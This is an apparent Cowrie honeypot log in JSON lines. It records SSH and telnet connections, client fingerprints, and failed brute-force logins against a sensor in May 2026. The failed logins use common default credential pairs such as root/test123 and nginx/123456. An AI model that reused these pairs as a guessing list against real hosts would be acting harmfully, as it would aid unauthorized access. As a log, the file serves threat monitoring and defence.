{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:e1:93:ed:14:2b:07:af:3b:57:4f:f7:66:62:5c:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxkiaKigBbXZppbT026cGCUEYwAPyec2Vzi3xVjWaeSHvPjc1dOg6qm4aEY7RtbkXADWc4imX7xU0bA+yuJHeUriFd2csYazzFLR1BKAtbCC2DxJgjRQNTnAt3B05LOr7dEDMycsvQrjmymf7fo+na2InE28XCxm9WDRJLjw8yZEOB4A3OyZnYe4zC53bgPJy/rDJ0e2q4I52SEZkhOs1i3C304ItaVS/L6kQWJfqoYBROGZ2qQzxHUaq2ptdJaaMrpbDRHQaLw6FuGez6CvsV5RTOCj1ndDa5axz8HJuYxTYFXYD5ANpDBpnfdxEd4Zm0RLnD/dXX5OkeIqvYK1r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:e1:93:ed:14:2b:07:af:3b:57:4f:f7:66:62:5c:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.867635Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:e1:93:ed:14:2b:07:af:3b:57:4f:f7:66:62:5c:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFxkiaKigBbXZppbT026cGCUEYwAPyec2Vzi3xVjWaeSHvPjc1dOg6qm4aEY7RtbkXADWc4imX7xU0bA+yuJHeUriFd2csYazzFLR1BKAtbCC2DxJgjRQNTnAt3B05LOr7dEDMycsvQrjmymf7fo+na2InE28XCxm9WDRJLjw8yZEOB4A3OyZnYe4zC53bgPJy/rDJ0e2q4I52SEZkhOs1i3C304ItaVS/L6kQWJfqoYBROGZ2qQzxHUaq2ptdJaaMrpbDRHQaLw6FuGez6CvsV5RTOCj1ndDa5axz8HJuYxTYFXYD5ANpDBpnfdxEd4Zm0RLnD/dXX5OkeIqvYK1r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.871720Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.941575Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46708,"dst_ip":"10.17.0.5","dst_port":23,"session":"49adae6cadd2","protocol":"telnet","message":"New connection: 152.42.224.71:46708 (10.17.0.5:23) [session: 49adae6cadd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:04.824745Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38238,"dst_ip":"159.203.135.109","dst_port":22,"session":"40beb257689a","protocol":"ssh","message":"New connection: 192.109.200.237:38238 (159.203.135.109:22) [session: 40beb257689a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:04.935749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:04.940620Z","src_ip":"192.109.200.237","session":"40beb257689a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:05.024091Z","src_ip":"192.109.200.237","session":"40beb257689a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:05.281047Z","src_ip":"192.109.200.237","session":"40beb257689a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:06.366676Z","src_ip":"192.109.200.237","session":"40beb257689a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.415658473968506,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:07.076375Z","src_ip":"152.42.224.71","session":"59e29141207c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38256,"dst_ip":"159.203.135.109","dst_port":22,"session":"e918342546b4","protocol":"ssh","message":"New connection: 192.109.200.237:38256 (159.203.135.109:22) [session: e918342546b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:08.190352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:08.198179Z","src_ip":"192.109.200.237","session":"e918342546b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:08.280435Z","src_ip":"192.109.200.237","session":"e918342546b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:08.525970Z","src_ip":"192.109.200.237","session":"e918342546b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:09.610611Z","src_ip":"192.109.200.237","session":"e918342546b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5bcdba9e8c","protocol":"telnet","message":"New connection: 152.42.224.71:59838 (10.17.0.5:23) [session: 9a5bcdba9e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:10.495949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45852,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d1ac85ba6a","protocol":"ssh","message":"New connection: 192.109.200.237:45852 (159.203.135.109:22) [session: e0d1ac85ba6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:11.426701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:11.431201Z","src_ip":"192.109.200.237","session":"e0d1ac85ba6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:11.513366Z","src_ip":"192.109.200.237","session":"e0d1ac85ba6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:11.877870Z","src_ip":"192.109.200.237","session":"e0d1ac85ba6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59846,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1ec848ee8d","protocol":"telnet","message":"New connection: 152.42.224.71:59846 (10.17.0.5:23) [session: 1e1ec848ee8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:12.380738Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:12.965385Z","src_ip":"192.109.200.237","session":"e0d1ac85ba6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45856,"dst_ip":"159.203.135.109","dst_port":22,"session":"470e9e7e1f01","protocol":"ssh","message":"New connection: 192.109.200.237:45856 (159.203.135.109:22) [session: 470e9e7e1f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:14.886411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:14.893041Z","src_ip":"192.109.200.237","session":"470e9e7e1f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:14.980679Z","src_ip":"192.109.200.237","session":"470e9e7e1f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:15.233950Z","src_ip":"192.109.200.237","session":"470e9e7e1f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:16.321894Z","src_ip":"192.109.200.237","session":"470e9e7e1f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45868,"dst_ip":"159.203.135.109","dst_port":22,"session":"74bfe4af6ce4","protocol":"ssh","message":"New connection: 192.109.200.237:45868 (159.203.135.109:22) [session: 74bfe4af6ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:18.229198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:18.234043Z","src_ip":"192.109.200.237","session":"74bfe4af6ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:18.315886Z","src_ip":"192.109.200.237","session":"74bfe4af6ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:18.566276Z","src_ip":"192.109.200.237","session":"74bfe4af6ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:19.651880Z","src_ip":"192.109.200.237","session":"74bfe4af6ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46808,"dst_ip":"159.203.135.109","dst_port":22,"session":"10dfdba2c02e","protocol":"ssh","message":"New connection: 192.109.200.237:46808 (159.203.135.109:22) [session: 10dfdba2c02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:21.767140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:21.772887Z","src_ip":"192.109.200.237","session":"10dfdba2c02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:21.854948Z","src_ip":"192.109.200.237","session":"10dfdba2c02e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:22.101675Z","src_ip":"192.109.200.237","session":"10dfdba2c02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.391122817993164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:22.611317Z","src_ip":"152.42.224.71","session":"ae4b382de0f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:23.186048Z","src_ip":"192.109.200.237","session":"10dfdba2c02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37934,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2e601ba38bf","protocol":"ssh","message":"New connection: 103.176.20.57:37934 (10.17.0.5:22) [session: c2e601ba38bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:24.235204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:24.240254Z","src_ip":"103.176.20.57","session":"c2e601ba38bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:24.485666Z","src_ip":"103.176.20.57","session":"c2e601ba38bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46820,"dst_ip":"159.203.135.109","dst_port":22,"session":"3266a6170d67","protocol":"ssh","message":"New connection: 192.109.200.237:46820 (159.203.135.109:22) [session: 3266a6170d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:25.084033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:25.089130Z","src_ip":"192.109.200.237","session":"3266a6170d67","protocol":"ssh"}
